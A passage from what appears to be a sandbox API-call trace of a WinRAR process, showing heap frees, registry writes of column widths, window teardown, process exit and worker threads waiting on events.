hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299dfc0 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c494c0 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299e040 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c494f0 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299e0c0 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49520 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299e140 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49550 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299e1c0 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49580 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x299e240 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c495b0 | out: hHeap=0x290000) returned 1 [0066.784] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3715f0 | out: hHeap=0x290000) returned 1 [0066.785] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x357e60 | out: hHeap=0x290000) returned 1 [0066.785] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x370520 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x39b0040 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x35e510 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x35a9d0 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x356d90 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x38a0040 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x353210 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34cf80 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34cfc0 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34d000 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e2ad0 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34d040 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e2af0 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x353240 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34de90 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e19c0 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e1a20 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34d0c0 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x353270 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x359a00 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e2b10 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3532a0 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x353390 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e2b30 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x359a40 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3533c0 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3533f0 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x353420 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x293f610 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x293f640 | out: hHeap=0x290000) returned 1 [0066.786] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x293f670 | out: hHeap=0x290000) returned 1 [0066.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x293f6a0 | out: hHeap=0x290000) returned 1 [0066.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x293f6d0 | out: hHeap=0x290000) returned 1 [0066.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34dee0 | out: hHeap=0x290000) returned 1 [0066.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e1a80 | out: hHeap=0x290000) returned 1 [0066.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34df30 | out: hHeap=0x290000) returned 1 [0066.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34df80 | out: hHeap=0x290000) returned 1 [0066.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34dfd0 | out: hHeap=0x290000) returned 1 [0066.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x359a80 | out: hHeap=0x290000) returned 1 [0066.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e020 | out: hHeap=0x290000) returned 1 [0066.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x359ac0 | out: hHeap=0x290000) returned 1 [0066.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x35ca00 | out: hHeap=0x290000) returned 1 [0066.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x354bf0 | out: hHeap=0x290000) returned 1 [0066.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x355cc0 | out: hHeap=0x290000) returned 1 [0066.787] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3790040 | out: hHeap=0x290000) returned 1 [0066.790] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x35baa0 | out: hHeap=0x290000) returned 1 [0066.790] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c69660 | out: hHeap=0x290000) returned 1 [0066.790] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x290bfd0 | out: hHeap=0x290000) returned 1 [0066.790] SHChangeNotify (wEventId=4096, uFlags=0x3005, dwItem1=0x1d91c0, dwItem2=0x0) [0066.813] DestroyWindow (hWnd=0x1020e) returned 1 [0066.817] DragAcceptFiles (hWnd=0x201e6, fAccept=1) [0066.817] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x7c, wParam=0xffffffffffffffec, lParam=0x1d9800) returned 0x0 [0066.817] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x7d, wParam=0xffffffffffffffec, lParam=0x1d9800) returned 0x0 [0066.817] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x93, wParam=0x0, lParam=0x1d7b90) returned 0x1 [0066.818] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1d9868 | out: ppv=0x1d9868*=0x293f6d0) returned 0x0 [0066.818] TaskbarList:ITaskbarList3:SetProgressState (This=0x293f6d0, hwnd=0x1020e, tbpFlags=0) returned 0x0 [0066.818] TaskbarList:IUnknown:Release (This=0x293f6d0) returned 0x0 [0066.818] GetPropW (hWnd=0x1020e, lpString="Done") returned 0x0 [0066.818] DeleteObject (ho=0x730089f) returned 1 [0066.818] DeleteObject (ho=0x23008b7) returned 1 [0066.818] DeleteObject (ho=0x13008b8) returned 1 [0066.818] DeleteObject (ho=0x13008b9) returned 1 [0066.818] DeleteObject (ho=0x13008ba) returned 1 [0066.818] DeleteObject (ho=0x13008bb) returned 1 [0066.818] DeleteObject (ho=0x13008bc) returned 1 [0066.818] DeleteObject (ho=0x13008bd) returned 1 [0066.818] DeleteObject (ho=0x11008be) returned 1 [0066.818] DeleteObject (ho=0x11008bf) returned 1 [0066.818] DeleteObject (ho=0x11008c0) returned 1 [0066.818] QueryPerformanceCounter (in: lpPerformanceCount=0x1d9850 | out: lpPerformanceCount=0x1d9850*=95206347866) returned 1 [0066.818] GetLastError () returned 0x2 [0066.818] SetLastError (dwErrCode=0x2) [0066.818] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x1d93a0 | out: phkResult=0x1d93a0*=0x1ac) returned 0x0 [0066.818] RegQueryValueExW (in: hKey=0x1ac, lpValueName="Sound", lpReserved=0x0, lpType=0x1d9804, lpData=0x1d9800, lpcbData=0x1d9838*=0x4 | out: lpType=0x1d9804*=0x0, lpData=0x1d9800*=0x1, lpcbData=0x1d9838*=0x4) returned 0x2 [0066.818] RegCloseKey (hKey=0x1ac) returned 0x0 [0066.818] QueryPerformanceCounter (in: lpPerformanceCount=0x1d9820 | out: lpPerformanceCount=0x1d9820*=95206372045) returned 1 [0066.818] MessageBeep (uType=0x0) returned 1 [0067.038] ReleaseMutex (hMutex=0x160) returned 1 [0067.039] IsWindowVisible (hWnd=0x201e6) returned 0 [0067.041] DestroyWindow (hWnd=0x1023c) returned 0 [0067.045] DestroyWindow (hWnd=0x1023e) returned 0 [0067.048] FindWindowW (lpClassName="WinRarWindow", lpWindowName=0x0) returned 0x101f6 [0067.048] DestroyWindow (hWnd=0x201e6) returned 1 [0067.048] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0067.048] SendMessageW (hWnd=0x101fc, Msg=0x1009, wParam=0x0, lParam=0x0) returned 0x1 [0067.049] GetWindowLongPtrW (hWnd=0x101fc, nIndex=-16) returned 0x54100249 [0067.049] SendMessageW (hWnd=0x101fc, Msg=0x101d, wParam=0x0, lParam=0x0) returned 0x78 [0067.049] GetLastError () returned 0x0 [0067.049] SetLastError (dwErrCode=0x0) [0067.049] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x1dad88, lpdwDisposition=0x1dad80 | out: phkResult=0x1dad88*=0x198, lpdwDisposition=0x1dad80*=0x1) returned 0x0 [0067.049] RegSetValueExW (in: hKey=0x198, lpValueName="name", Reserved=0x0, dwType=0x4, lpData=0x1db228*=0x78, cbData=0x4 | out: lpData=0x1db228*=0x78) returned 0x0 [0067.050] RegCloseKey (hKey=0x198) returned 0x0 [0067.050] SendMessageW (hWnd=0x101fc, Msg=0x101d, wParam=0x1, lParam=0x0) returned 0x50 [0067.050] GetLastError () returned 0x0 [0067.050] SetLastError (dwErrCode=0x0) [0067.050] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x1dad88, lpdwDisposition=0x1dad80 | out: phkResult=0x1dad88*=0x198, lpdwDisposition=0x1dad80*=0x2) returned 0x0 [0067.050] RegSetValueExW (in: hKey=0x198, lpValueName="size", Reserved=0x0, dwType=0x4, lpData=0x1db228*=0x50, cbData=0x4 | out: lpData=0x1db228*=0x50) returned 0x0 [0067.050] RegCloseKey (hKey=0x198) returned 0x0 [0067.050] SendMessageW (hWnd=0x101fc, Msg=0x101d, wParam=0x2, lParam=0x0) returned 0x78 [0067.050] GetLastError () returned 0x0 [0067.050] SetLastError (dwErrCode=0x0) [0067.050] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x1dad88, lpdwDisposition=0x1dad80 | out: phkResult=0x1dad88*=0x198, lpdwDisposition=0x1dad80*=0x2) returned 0x0 [0067.050] RegSetValueExW (in: hKey=0x198, lpValueName="type", Reserved=0x0, dwType=0x4, lpData=0x1db228*=0x78, cbData=0x4 | out: lpData=0x1db228*=0x78) returned 0x0 [0067.050] RegCloseKey (hKey=0x198) returned 0x0 [0067.050] SendMessageW (hWnd=0x101fc, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x64 [0067.050] GetLastError () returned 0x0 [0067.050] SetLastError (dwErrCode=0x0) [0067.050] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x1dad88, lpdwDisposition=0x1dad80 | out: phkResult=0x1dad88*=0x198, lpdwDisposition=0x1dad80*=0x2) returned 0x0 [0067.050] RegSetValueExW (in: hKey=0x198, lpValueName="mtime", Reserved=0x0, dwType=0x4, lpData=0x1db228*=0x64, cbData=0x4 | out: lpData=0x1db228*=0x64) returned 0x0 [0067.051] RegCloseKey (hKey=0x198) returned 0x0 [0067.051] KillTimer (hWnd=0x201e6, uIDEvent=0xa) returned 0 [0067.051] RevokeDragDrop (hwnd=0x201e6) returned 0x0 [0067.051] PostQuitMessage (nExitCode=0) [0067.055] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0067.055] IUnknown:AddRef (This=0x7fefe535380) returned 0x1 [0067.055] GdiplusShutdown (token=0x280000) [0067.057] OleUninitialize () [0067.066] GetModuleHandleW (lpModuleName=0x0) returned 0x13f160000 [0067.066] GetModuleHandleW (lpModuleName=0x0) returned 0x13f160000 [0067.066] FreeLibrary (hLibModule=0x7fefdc00000) returned 1 [0067.067] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e6e00 | out: hHeap=0x290000) returned 1 [0067.067] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2c2bb0 | out: hHeap=0x290000) returned 1 [0067.067] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2f1270 | out: hHeap=0x290000) returned 1 [0067.067] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3003f0 | out: hHeap=0x290000) returned 1 [0067.067] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x290000) returned 1 [0067.067] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x304400 | out: hHeap=0x290000) returned 1 [0067.067] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x308470 | out: hHeap=0x290000) returned 1 [0067.067] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x312bd0 | out: hHeap=0x290000) returned 1 [0067.067] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x31ccd0 | out: hHeap=0x290000) returned 1 [0067.067] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x321d60 | out: hHeap=0x290000) returned 1 [0067.067] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x326a40 | out: hHeap=0x290000) returned 1 [0067.068] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x324990 | out: hHeap=0x290000) returned 1 [0067.069] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x332fc0 | out: hHeap=0x290000) returned 1 [0067.070] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x32aa50 | out: hHeap=0x290000) returned 1 [0067.070] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x336fd0 | out: hHeap=0x290000) returned 1 [0067.070] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2c5ab0 | out: hHeap=0x290000) returned 1 [0067.070] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x33e040 | out: hHeap=0x290000) returned 1 [0067.071] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x33bea0 | out: hHeap=0x290000) returned 1 [0067.072] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x342050 | out: hHeap=0x290000) returned 1 [0067.072] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x28a0080 | out: hHeap=0x290000) returned 1 [0067.072] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x346060 | out: hHeap=0x290000) returned 1 [0067.072] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2cb490 | out: hHeap=0x290000) returned 1 [0067.072] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34de40 | out: hHeap=0x290000) returned 1 [0067.072] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34bcd0 | out: hHeap=0x290000) returned 1 [0067.072] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ba410 | out: hHeap=0x290000) returned 1 [0067.072] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e1540 | out: hHeap=0x290000) returned 1 [0067.072] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ba520 | out: hHeap=0x290000) returned 1 [0067.072] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0067.072] GetLastError () returned 0x57 [0067.072] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0067.074] LoadLibraryExW (lpLibFileName="ext-ms-win-kernel32-package-current-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0067.074] GetLastError () returned 0x57 [0067.074] LoadLibraryExW (lpLibFileName="ext-ms-win-kernel32-package-current-l1-1-0", hFile=0x0, dwFlags=0x0) returned 0x0 [0067.077] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x1dfa18 | out: phModule=0x1dfa18) returned 0 [0067.077] RtlExitUserProcess (ExitCode=0x0) [0067.089] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2b8030 | out: hHeap=0x290000) returned 1 Thread: id = 28 os_tid = 0xa58 Thread: id = 31 os_tid = 0x6dc Thread: id = 33 os_tid = 0x530 Thread: id = 37 os_tid = 0xab8 Thread: id = 40 os_tid = 0xb84 [0058.959] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0058.964] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0058.966] SetEvent (hEvent=0x1a4) returned 1 [0058.966] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0058.968] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0058.970] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0058.971] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0058.973] SetEvent (hEvent=0x1a4) returned 1 [0058.978] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.289] SetEvent (hEvent=0x1a4) returned 1 [0059.289] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.441] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.671] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.944] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.969] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.248] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.829] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.861] SetEvent (hEvent=0x1a4) returned 1 [0061.861] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.525] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.014] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.503] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.615] SetEvent (hEvent=0x1a4) returned 1 [0063.615] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.757] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 41 os_tid = 0xb7c [0058.979] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.288] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.441] SetEvent (hEvent=0x1a4) returned 1 [0059.442] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.670] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.944] SetEvent (hEvent=0x1a4) returned 1 [0059.944] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.968] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.254] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.835] SetEvent (hEvent=0x1a4) returned 1 [0061.835] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.862] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.504] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.014] SetEvent (hEvent=0x1a4) returned 1 [0063.014] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.503] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.600] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.757] SetEvent (hEvent=0x1a4) returned 1 [0063.757] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 42 os_tid = 0x9b0 [0058.979] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.290] SetEvent (hEvent=0x1a4) returned 1 [0059.290] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.448] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.682] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.945] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.974] SetEvent (hEvent=0x1a4) returned 1 [0059.974] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.354] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.842] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.870] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.700] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.219] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.512] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.616] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.767] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 43 os_tid = 0xb8c [0058.979] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.290] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.451] SetEvent (hEvent=0x1a4) returned 1 [0059.451] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.682] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.946] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.973] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.365] SetEvent (hEvent=0x1a4) returned 1 [0061.365] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.841] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.870] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.902] SetEvent (hEvent=0x1a4) returned 1 [0062.902] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.254] SetEvent (hEvent=0x1a4) returned 1 [0063.254] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.533] SetEvent (hEvent=0x1a4) returned 1 [0063.533] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.643] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.791] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 44 os_tid = 0x9ac [0058.979] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.289] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.445] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.682] SetEvent (hEvent=0x1a4) returned 1 [0059.682] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.946] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.972] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.288] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.833] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.864] SetEvent (hEvent=0x1a4) returned 1 [0061.864] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.631] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.220] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.516] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.627] SetEvent (hEvent=0x1a4) returned 1 [0063.627] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.771] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 45 os_tid = 0xb28 [0058.979] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.289] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.446] SetEvent (hEvent=0x1a4) returned 1 [0059.446] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.681] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.947] SetEvent (hEvent=0x1a4) returned 1 [0059.947] WaitForSingleObject 